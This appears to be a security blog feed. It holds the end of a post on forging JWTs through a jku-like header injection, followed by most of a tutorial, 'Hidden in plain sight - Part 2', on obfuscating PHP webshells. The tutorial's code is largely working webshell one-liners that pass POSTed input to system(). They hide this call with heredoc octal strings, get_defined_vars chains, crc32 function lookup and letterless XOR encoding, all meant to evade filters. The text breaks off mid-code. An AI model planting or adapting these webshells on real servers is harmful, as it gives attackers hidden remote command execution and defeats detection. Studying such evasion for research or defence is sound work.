<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "email_address":"bob@mail.local",
  "nickname":"bob",
  "name":"bob@mail.local",
  "picture":"https://s.gravatar.com/avatar/0bf84f0e432e3dfd9691c7a14d58f824?s=480&amp;r=pg&amp;d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fbo.png",
  "updated_at":"2023-12-28T19:55:04.250Z",
  email":"bob@mail.local",
  email_verified":true,
  "iss":"https://dev-....eu.auth0.com/",
...
}
</code></pre></div></div>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="token_obtained" src="/assets/res/stuff/auth0_token.png" /></p>

<p>This token could be used on the victim app as well, since the latter would happily validate it with my public key, and since the user <code class="language-plaintext highlighter-rouge">bob@mail.local</code> was recognised !</p>

<p><strong>Bottomline</strong></p>

<ul>
  <li>Verify and then trust</li>
  <li>As a security researcher, it is worth trying to modify claims containing URLs to see if an SSRF exists</li>
  <li>It is not because cryptomagic happens that everything is secure</li>
</ul>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, describing attacks such as none algorithm, algorithm confusion, JWK header injection, and friends … No, I would like to tell you about something a little bit different, akin to a jku header injection, turning what was looking like an SSRF into an application compromise.]]></summary></entry><entry><title type="html">Hidden in plain sight - Part 2</title><link href="/stuff/2023/11/05/hidden-in-plain-sight-2.html" rel="alternate" type="text/html" title="Hidden in plain sight - Part 2" /><published>2023-11-05T00:00:00+00:00</published><updated>2023-11-05T00:00:00+00:00</updated><id>/stuff/2023/11/05/hidden-in-plain-sight-2</id><content type="html" xml:base="/stuff/2023/11/05/hidden-in-plain-sight-2.html"><![CDATA[<p>A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern <code class="language-plaintext highlighter-rouge">$_</code>. The latter is commonly used while extracting data submitted by the user, through the variables <code class="language-plaintext highlighter-rouge">$_GET</code> or <code class="language-plaintext highlighter-rouge">$_POST</code>. I presented the following five techniques, retrieving POST’ed argument, being a bash command to be executed by <code class="language-plaintext highlighter-rouge">system</code>.</p>

<p><em>The latter could also be dynamically retrieved thanks to a <a href="https://www.php.net/manual/en/functions.variable-functions.php">variable function</a></em></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//technique 1</span>
<span class="k">echo</span> <span class="nb">system</span><span class="p">(</span><span class="nb">filter_input</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s1">'A'</span><span class="p">));</span>
<span class="c1">//technique 2</span>
<span class="k">echo</span> <span class="nb">system</span><span class="p">(</span><span class="err">$</span><span class="p">{</span><span class="s2">"_"</span><span class="mf">.</span><span class="s2">"POST"</span><span class="p">}[</span><span class="s2">"B"</span><span class="p">]);</span>
<span class="c1">//technique 3</span>
<span class="k">echo</span> <span class="nb">system</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">));</span>
<span class="c1">//technique 4</span>
<span class="k">echo</span> <span class="nb">system</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]][</span><span class="s2">"C"</span><span class="p">]);</span>
<span class="c1">//technique 5</span>
<span class="nv">$x</span> <span class="o">=</span> <span class="s1">'_'</span><span class="mf">.</span><span class="s1">'POST'</span><span class="p">;</span>
<span class="k">echo</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$$x</span><span class="p">[</span><span class="s1">'D'</span><span class="p">]);</span>
</code></pre></div></div>

<p>However, my favourite webshell is something like <code class="language-plaintext highlighter-rouge">$_GET['a']($_GET['b'])</code> because it makes it possible to call any function that takes a single argument (string, array or null). However, as stated in the documentation:</p>

<blockquote>

  <p>Variable functions won’t work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like</p>

</blockquote>

<p>and for some others, they cannot be dynamically called:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">var_dump</span><span class="p">(</span><span class="s2">"get_def"</span><span class="mf">.</span><span class="s2">"ined_vars"</span><span class="p">());</span> <span class="c1">//okay</span>
<span class="nb">var_dump</span><span class="p">((</span><span class="s2">"get_defin"</span><span class="mf">.</span><span class="s2">"ed_vars"</span><span class="p">)());</span> <span class="c1">//also okay</span>
<span class="nv">$x</span><span class="o">=</span><span class="s2">"get_defined_vars"</span><span class="p">;</span> <span class="nb">var_dump</span><span class="p">(</span><span class="nv">$x</span><span class="p">());</span> <span class="c1">//not okay</span>
<span class="nb">var_dump</span><span class="p">((</span><span class="nv">$x</span><span class="o">=</span><span class="s2">"get_defined_vars"</span><span class="p">)());</span> <span class="c1">//also not okay</span>
</code></pre></div></div>

<p><em>NOTE: <code class="language-plaintext highlighter-rouge">eval</code> cannot be used as variable function, since it is a language construct and not a true function</em></p>

<p>However, PHP is really (REALLY) permissive, and it’s quite easy to call most of the functions while hiding their name. Let’s discuss four techniques with their own peculiarities, executing something like:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'a'</span><span class="p">](</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'b'</span><span class="p">]);</span>
</code></pre></div></div>

<h2 id="technique-1-no-letters-no-quotes">Technique #1: No letters, no quotes</h2>

<p>This first technique gets rid of quotes and letters, but using <a href="https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc"><em>heredocs</em> strings</a>.</p>

<p>As the doc says:</p>

<blockquote>

  <p>A third way to delimit strings is the heredoc syntax: «&lt;. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation.</p>

</blockquote>

<p>Heredocs makes it possible to create multiline strings, such as:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$var</span> <span class="o">=</span> <span class="sh">&lt;&lt;&lt;_
Hello world
_;</span>
</code></pre></div></div>

<p>In this case, the <em>identifier</em> is a simple underscore symbol. Note that the new lines after the first marker and before the second one are not part of the string. It means that <code class="language-plaintext highlighter-rouge">echo "*$var/";</code> would print <code class="language-plaintext highlighter-rouge">*Hello world/</code>.</p>

<p>Compared to <em>nowdocs</em>, <em>heredocs</em> are like double-quoted strings, which means that it interprets escaping sequences and performs string interpolation. Therefore, the following snippet of code would set the variable <code class="language-plaintext highlighter-rouge">$x</code> equal to the character <code class="language-plaintext highlighter-rouge">'a'</code>, written here is octal:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="sh">&lt;&lt;&lt;_
\141
_;</span>
</code></pre></div></div>

<p>Variable functions can therefore be created:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$filter_input</span> <span class="o">=</span> <span class="sh">&lt;&lt;&lt;_
\146\151\154\164\145\162\137\151\156\160\165\164
_;</span>
</code></pre></div></div>

<p>and therefore, calling <code class="language-plaintext highlighter-rouge">filter_input(0, 'a')(filter_input(0, 'b'))</code> would be done as follows:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="sh">&lt;&lt;&lt;_
\146\151\154\164\145\162\137\151\156\160\165\164
_</span><span class="p">)(</span><span class="mi">0</span><span class="p">,</span> <span class="sh">&lt;&lt;&lt;_
\141
_</span><span class="p">)((</span><span class="sh">&lt;&lt;&lt;_
\146\151\154\164\145\162\137\151\156\160\165\164
_</span><span class="p">)(</span><span class="mi">0</span><span class="p">,</span> <span class="sh">&lt;&lt;&lt;_
\142
_</span><span class="p">));</span>
</code></pre></div></div>

<p><em>NOTE: enclosing heredoc strings between parentheses seems to be mandatory, a syntax error would be raised otherwise.</em></p>

<h3 id="variant-with-letters">Variant with letters</h3>

<p>Since heredoc strings perform string interpolation, the symbols can be resolved within the string:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="sh">&lt;&lt;&lt;_
    {${$_POST[0]($_POST[1])}}
_;</span>
</code></pre></div></div>

<p>Or:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="sh">&lt;&lt;&lt;_
    {${${chr(95).chr(80).chr(79).chr(83).chr(84)}[0](${chr(95).chr(80).chr(79).chr(83).chr(84)}[1])}}
_;</span>
</code></pre></div></div>

<h2 id="technique-2-one-liner-with-only-two-functions">Technique #2: One-liner with only two functions</h2>

<p>This is an extension of the fourth technique using <code class="language-plaintext highlighter-rouge">get_defined_vars</code> and <code class="language-plaintext highlighter-rouge">array_keys</code>, by chaining them in order to dynamically resolve the function name and its argument. Let’s first print the result of <code class="language-plaintext highlighter-rouge">get_defined_vars()</code> (no other variables declared):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Array
(
    [_GET] =&gt; Array
        (
        )

    [_POST] =&gt; Array
        (
            [a] =&gt; system
            [b] =&gt; id
        )

    [_COOKIE] =&gt; Array
        (
        )

    [_FILES] =&gt; Array
        (
        )
)
</code></pre></div></div>

<p>The routine <code class="language-plaintext highlighter-rouge">array_keys</code> can be used to retrieve the first level of this 2D-array:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Array
(
    [0] =&gt; _GET
    [1] =&gt; _POST
    [2] =&gt; _COOKIE
    [3] =&gt; _FILES
)
</code></pre></div></div>

<p>To execute the expected payload, one should have something like:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$post_key</span> <span class="o">=</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">];</span> <span class="c1">//get 2nd key</span>
<span class="nv">$post_data</span> <span class="o">=</span> <span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nv">$post_key</span><span class="p">];</span> <span class="c1">//['a' =&gt; 'system', 'b' =&gt; 'id']</span>
<span class="nv">$post_data_keys</span> <span class="o">=</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nv">$post_data</span><span class="p">);</span> <span class="c1">// ['a', 'b']</span>
<span class="nv">$system</span> <span class="o">=</span> <span class="nv">$post_data</span><span class="p">[</span><span class="nv">$post_data_keys</span><span class="p">[</span><span class="mi">0</span><span class="p">]];</span> <span class="c1">//['a' =&gt; 'system', 'b' =&gt; 'id'][['a','b'][0]] = 'system'</span>
<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$post_data</span><span class="p">[</span><span class="nv">$post_data_keys</span><span class="p">[</span><span class="mi">1</span><span class="p">]];</span> <span class="c1">//same at index 1</span>
<span class="nv">$system</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
</code></pre></div></div>

<p>Let’s replace all local variables with function calls:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]][</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]])[</span><span class="mi">0</span><span class="p">]](</span><span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]][</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">()[</span><span class="nb">array_keys</span><span class="p">(</span><span class="nb">get_defined_vars</span><span class="p">())[</span><span class="mi">1</span><span class="p">]])[</span><span class="mi">1</span><span class="p">]]);</span>
</code></pre></div></div>

<h2 id="technique-3-f-the-system">Technique #3: F*** the <code class="language-plaintext highlighter-rouge">system</code></h2>

<p>The routine <code class="language-plaintext highlighter-rouge">get_defined_vars</code> is handy, but it has a drawback: it cannot be used as a variable function, making it more difficult to hide. This third technique resolves function names without hardcoding them nor passing them as argument, and uses functions that do not suffer from the same restriction. The idea is quite simple: the list of defined functions is filtered with <code class="language-plaintext highlighter-rouge">array_filter</code> and a submitted criterion. The matching name is dynamically called, while forwarding the second POST’ed argument.</p>

<p>To begin with, the list of existing routines can be obtained as follows (snipped for brevity):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Array
(
    [internal] =&gt; Array
        (
            [0] =&gt; zend_version
            [1] =&gt; func_num_args
            [2] =&gt; func_get_arg
            ...
        )
    [user] =&gt; Array
        (
        )
)
</code></pre></div></div>

<p>The first element of this two-dimensional array (labelled as <em>internal</em>) contains the list of existing functions (i.e. not user-defined). A first approach could be to locate the index of <code class="language-plaintext highlighter-rouge">system</code> and hardcode its key, but the latter could change, depending on the PHP configuration (loaded modules, disabled functions, etc.), making this approach quite unstable. To make it more configuration-independent, this array could be filtered with a lambda function and the routine <a href="https://www.php.net/manual/en/function.array-filter.php"><em>array_filter</em></a>;</p>

<blockquote>

  <p>Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array.</p>

  <p>Array keys are preserved, and may result in gaps if the array was indexed. The result array can be reindexed using the array_values() function.</p>

</blockquote>

<p>To isolate the expected routine, we chose to filter on the CRC32 value (collisions may exist, though):</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">var_dump</span><span class="p">(</span><span class="nb">array_filter</span><span class="p">(</span><span class="nb">reset</span><span class="p">(</span><span class="nb">get_defined_functions</span><span class="p">()),</span> <span class="k">fn</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nb">crc32</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span> <span class="o">==</span> <span class="nv">$_POST</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="mh">0x61</span><span class="p">)]));</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">reset</code> function is used here because <code class="language-plaintext highlighter-rouge">get_defined_functions</code> returns a 2D array, and we are interested only by <code class="language-plaintext highlighter-rouge">get_defined_functions()["internal"]</code> (the first element). Each element is then passed to <code class="language-plaintext highlighter-rouge">crc32</code>, which appends to its return value all the matching items. If no collision exists, it should contain a single element. Sending <em>a=3377271179</em> in the POST’ed body would return <code class="language-plaintext highlighter-rouge">system</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array(1) {
  [683]=&gt;
  string(6) "system"
}
</code></pre></div></div>

<p>The result is a named array, hence <code class="language-plaintext highlighter-rouge">reset</code> can be used once again to keep only <code class="language-plaintext highlighter-rouge">system</code> name:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$sys</span> <span class="o">=</span> <span class="nb">reset</span><span class="p">(</span><span class="nb">array_filter</span><span class="p">(</span><span class="nb">reset</span><span class="p">(</span><span class="nb">get_defined_functions</span><span class="p">()),</span> <span class="k">fn</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nb">crc32</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span> <span class="o">==</span> <span class="nv">$_POST</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="mh">0x61</span><span class="p">)]));</span>
</code></pre></div></div>

<p>One can now call the routine dynamically, passing the 2nd POST’ed argument:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">reset</span><span class="p">(</span><span class="nb">array_filter</span><span class="p">(</span><span class="nb">reset</span><span class="p">(</span><span class="nb">get_defined_functions</span><span class="p">()),</span> <span class="k">fn</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nb">crc32</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span> <span class="o">==</span> <span class="nv">$_POST</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="mh">0x61</span><span class="p">)]))(</span><span class="nv">$_POST</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="mh">0x62</span><span class="p">)]);</span>
</code></pre></div></div>

<p><em>NOTE: this technique can obviously be combined to others in order to hide the $_POST.</em></p>

<h2 id="technique-4-only-7-characters">Technique #4: Only 7 characters</h2>

<p>Ever heard about <a href="https://esolangs.org/wiki/Brainfuck">BrainF*ck</a> ? This esoteric programming language made only of the symbols <code class="language-plaintext highlighter-rouge">&gt;&lt;+-.,[]</code> is more like a joke than a usable language. Alternatives have been created, such as the infamous <a href="https://jsfuck.com/">JSF*ck</a>, made only of six characters (<code class="language-plaintext highlighter-rouge">()+[]!</code>). A <a href="https://splitline.github.io/PHPFuck/">PHPf*ck</a> was also created, using only seven symbols <code class="language-plaintext highlighter-rouge">([+.^])</code>, but the latter is not compatible with PHP 8 (and later). An <a href="https://b-viguier.github.io/PhpFk/">alternative</a> exists for PHP 8, but it uses <a href="https://www.php.net/manual/en/book.ffi.php">Foreign Function Interface</a>, that is not always installed. Moreover, PHP8 makes it harder to execute code from string, since <code class="language-plaintext highlighter-rouge">eval</code> cannot be called as a variable function, <code class="language-plaintext highlighter-rouge">assert</code> does not evaluate any more the passed argument, <code class="language-plaintext highlighter-rouge">preg_replace</code>’s <code class="language-plaintext highlighter-rouge">/e</code> flag is deprecated, and <code class="language-plaintext highlighter-rouge">create_function</code> too.</p>

<p><em>I’m also aware that a version only uses 5 characters (<a href="https://mystiz.hk/posts/2021/2021-08-10-uiuctf-phpfuck/">mystiz.hk/posts/2021/2021-08-10-uiuctf-phpfuck/</a>), but I wanted to do it without letters nor numbers. Still, their technique is really clever.</em></p>

<p>However, the goal here was not to <code class="language-plaintext highlighter-rouge">eval</code>uate something arbitrary, but to execute <code class="language-plaintext highlighter-rouge">$_GET['A']($_GET['r'])</code> (you will understand why ‘A’ and ‘r’, and not ‘a’ and ‘b’). I therefore had to find a way to call the routine <a href="https://www.php.net/manual/en/function.filter-input-array.php"><code class="language-plaintext highlighter-rouge">filter_input_array</code></a> to extract submitted data:</p>

<blockquote>

  <p>filter_input_array(int $type, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null</p>

  <p>This function is useful for retrieving many values without repetitively calling filter_input().</p>

</blockquote>

<p>Fortunately, this routine only takes one argument, saving me the need to use the comma symbol. This first argument is supposed to be an integer:</p>
<ul>
  <li>0: <code class="language-plaintext highlighter-rouge">INPUT_POST</code>;</li>
  <li>1: <code class="language-plaintext highlighter-rouge">INPUT_GET</code> ;</li>
  <li>2: <code class="language-plaintext highlighter-rouge">INPUT_COOKIE</code> ;</li>
  <li>3: undefined</li>
  <li>4: <code class="language-plaintext highlighter-rouge">INPUT_ENV</code> ;</li>
  <li>5: <code class="language-plaintext highlighter-rouge">INPUT_SERVER</code>.</li>
</ul>

<p>Therefore, the not-so-obfuscated code should be as follows:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">filter_input_array</span><span class="p">(</span><span class="mi">0</span><span class="p">)[</span><span class="s2">"A"</span><span class="p">](</span><span class="nb">filter_input_array</span><span class="p">(</span><span class="mi">0</span><span class="p">)[</span><span class="s2">"r"</span><span class="p">]);</span>
</code></pre></div></div>

<h3 id="building-strings">Building strings</h3>
<p>The principle for JSF*ck or PHPf*ck is to build arbitrary strings to dynamically call variable functions, <strong>without using any letter or number</strong>. To do so, some primitives are obtained, and from this limited charset, other characters are computed. The primitive values are as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[]     : can be translated to 'Array' if concatenated
![]    : true / 1
!![]   : false / empty string (similar to 0)
![]^![]: 0 / false
</code></pre></div></div>

<p><em>The difference between the two last elements is that the 3rd one is similar to <code class="language-plaintext highlighter-rouge">false</code> and an empty string, while the 4th one could also be represented as the string <code class="language-plaintext highlighter-rouge">'0'</code></em></p>

<p>From these primitives, we can extract a charset. For instance, we can obtain the <code class="language-plaintext highlighter-rouge">'A'</code> by extracting the first letter of the string <code class="language-plaintext highlighter-rouge">'Array'</code>. However, the array must first be concatenated to <code class="language-plaintext highlighter-rouge">1</code> or another array to be considered as a string:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="p">([]</span><span class="mf">.</span><span class="o">!</span><span class="p">[]);</span> <span class="c1">// 'Array1'</span>
<span class="nv">$y</span> <span class="o">=</span> <span class="o">!!</span><span class="p">[];</span> <span class="c1">//false</span>
<span class="nv">$A</span> <span class="o">=</span> <span class="nv">$x</span><span class="p">[</span><span class="nv">$y</span><span class="p">];</span> <span class="c1">// 'Array1'[0]</span>
</code></pre></div></div>

<p>Therefore, the letter <code class="language-plaintext highlighter-rouge">'A'</code> can be obtained with <code class="language-plaintext highlighter-rouge">([].![])[!![]]</code>. Similarly, the letter <code class="language-plaintext highlighter-rouge">'r'</code> can be obtained by doing the same at index 1: <code class="language-plaintext highlighter-rouge">([].![])[![]]</code>.</p>

<p>Since <code class="language-plaintext highlighter-rouge">!![]</code> and <code class="language-plaintext highlighter-rouge">![]</code> are boolean/integers, being allowed to use the <code class="language-plaintext highlighter-rouge">'+'</code> symbol would significantly ease the process. The number 2 could be obtained with <code class="language-plaintext highlighter-rouge">![]+![]</code>, 3 with <code class="language-plaintext highlighter-rouge">![]+![]+![]</code> and so on. Only numbers from 0 to 9 are sufficient to build any number, because it is possible to <em>concatenate</em> digits and turn them into numbers:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$a</span> <span class="o">=</span> <span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!!</span><span class="p">[]];</span> <span class="c1">//'1', because it's '1Array'[0]</span>
<span class="nv">$b</span> <span class="o">=</span> <span class="p">((</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!!</span><span class="p">[]];</span> <span class="c1">// '0', because it's '0Array'[0]</span>
<span class="nv">$c</span> <span class="o">=</span> <span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])</span><span class="o">+</span><span class="p">(((</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!!</span><span class="p">[]])</span><span class="mf">.</span><span class="p">(((</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!!</span><span class="p">[]]));</span> <span class="c1">// int(10)</span>
<span class="c1">//because it's the same as:</span>
<span class="nv">$c</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span> <span class="o">+</span> <span class="s1">'1'</span><span class="mf">.</span><span class="s1">'0'</span><span class="p">);</span> 
</code></pre></div></div>

<p>Since the expression <em>“adds”</em> an integer and a string, the result is considered as a number with an implicit cast from string to integer. Another interesting thing is that an index expressed as a string would also be turned into an integer if such a value is expected and if possible. For instance:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">echo</span> <span class="s2">"abcd"</span><span class="p">[</span><span class="s2">"X"</span><span class="p">];</span> <span class="c1">// fails</span>
<span class="k">echo</span> <span class="s2">"abcd"</span><span class="p">[</span><span class="s2">"2"</span><span class="p">];</span> <span class="c1">// prints 'c'</span>
<span class="k">echo</span> <span class="s2">"abcd"</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>   <span class="c1">// also prints 'c'</span>
</code></pre></div></div>

<p><em>This is also possible with the XOR operation without the ‘+’ symbol, but it would restrict the available numbers to those only made of 0 and 1: 10, 11, 100, etc.</em></p>

<p>However, we decided to not use the <code class="language-plaintext highlighter-rouge">'+'</code> symbol since it would be too easy, and to use only the numbers <em>0</em> and <em>1</em>. To extract the letters <code class="language-plaintext highlighter-rouge">'a'</code> and <code class="language-plaintext highlighter-rouge">'y'</code> from <code class="language-plaintext highlighter-rouge">'Array'</code>, we therefore used a trick to extract the 11th character (index 10) of the string <code class="language-plaintext highlighter-rouge">'11ArrayArray'</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">print_r</span><span class="p">((</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">[]</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])]);</span> <span class="c1">// 'a'</span>
<span class="c1">//because it's the same as te following lines</span>
<span class="nb">print_r</span><span class="p">((</span><span class="s1">'1'</span><span class="mf">.</span><span class="s1">'1'</span><span class="mf">.</span><span class="s1">'Array'</span><span class="mf">.</span><span class="s1">'Array'</span><span class="p">)[(</span><span class="mi">1</span><span class="p">)</span><span class="mf">.</span><span class="p">(</span><span class="mi">1</span><span class="o">^</span><span class="mi">1</span><span class="p">)]);</span>
<span class="nb">print_r</span><span class="p">((</span><span class="s1">'11ArrayArray'</span><span class="p">)[(</span><span class="mi">1</span><span class="p">)</span><span class="mf">.</span><span class="p">(</span><span class="mi">0</span><span class="p">)]);</span>
<span class="nb">print_r</span><span class="p">((</span><span class="s1">'11ArrayArray'</span><span class="p">)[</span><span class="s1">'1'</span><span class="mf">.</span><span class="s1">'0'</span><span class="p">]);</span>
<span class="nb">print_r</span><span class="p">((</span><span class="s1">'11ArrayArray'</span><span class="p">)[</span><span class="mi">10</span><span class="p">]);</span>
</code></pre></div></div>

<p>Regarding the <code class="language-plaintext highlighter-rouge">'y'</code>, the principle is the same, but with a <code class="language-plaintext highlighter-rouge">![]</code> less at the beginning: <code class="language-plaintext highlighter-rouge">(![].[].[])[![].(![]^![])]</code>.</p>

<p>So far, the charset is as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'A': 1000001: ([].![])[!![]]
'r': 1110010: ([].![])[![]]
'a': 1100001: (![].![].[].[])[![].(![]^![])]
'y': 1111001: (![].[].[])[![].(![]^![])]
'1': 0110001: ![].[][!![]]
'0': 0110000: (![]^![]).[][!![]]
</code></pre></div></div>
<h3 id="here-comes-the-xor">Here comes the XOR</h3>

<p>PHP also allows different types to be XORed against each other:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">print_r</span><span class="p">(</span><span class="mi">1</span> <span class="o">^</span> <span class="mi">2</span><span class="p">);</span>     <span class="c1">// 3</span>
<span class="nb">print_r</span><span class="p">(</span><span class="mi">1</span> <span class="o">^</span> <span class="s1">'2'</span><span class="p">);</span>   <span class="c1">// 3</span>
<span class="nb">print_r</span><span class="p">(</span><span class="mi">1</span> <span class="o">^</span> <span class="s1">'A'</span><span class="p">);</span>   <span class="c1">// fails, because 'A' cannot be cast</span>
<span class="nb">print_r</span><span class="p">(</span><span class="s1">'1'</span> <span class="o">^</span> <span class="s1">'A'</span><span class="p">);</span> <span class="c1">// p, because ASCII codes are XOR'ed</span>
</code></pre></div></div>

<p>By doing magic with the available characters in the set, it is possible to obtain other letters:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'q': 1110001: '0' XOR 'A': (![]^![]).[][!![]] ^ ([].![])[!![]]
'B': 1000010: '0' XOR 'r': (![]^![]).[][!![]] ^ ([].![])[![]]
'Q': 1010001: '0' XOR 'a': (![]^![]).[][!![]] ^ (![].![].[].[])[![].(![]^![])]
'I': 1001001: '0' XOR 'y': (![]^![]).[][!![]] ^ (![].[].[])[![].(![]^![])]
'p': 1110000: '1' XOR 'A': ![].[][!![]] ^ ([].![])[!![]]
'C': 1000011: '1' XOR 'r': ![].[][!![]] ^ ([].![])[![]]
'P': 1010000: '1' XOR 'a': ![].[][!![]] ^ (![].![].[].[])[![].(![]^![])]
'H': 1001000: '1' XOR 'y': ![].[][!![]] ^ (![].[].[])[![].(![]^![])]
</code></pre></div></div>

<p>The charset we have now is still too small to be able to obtain any character. We can realise that by taking a look at the binary codes of the obtained characters. None of them has its 5th bit set, which means that the XOR operation between them will always leave it cleared. Although it is possible to obtain more characters by XORing more than two operands, the 5th bit is annoying.</p>

<p>Finding a suitable character having this bit set was quite challenging. A first idea way to obtain it through the value <code class="language-plaintext highlighter-rouge">INF</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">var_dump</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">((</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span 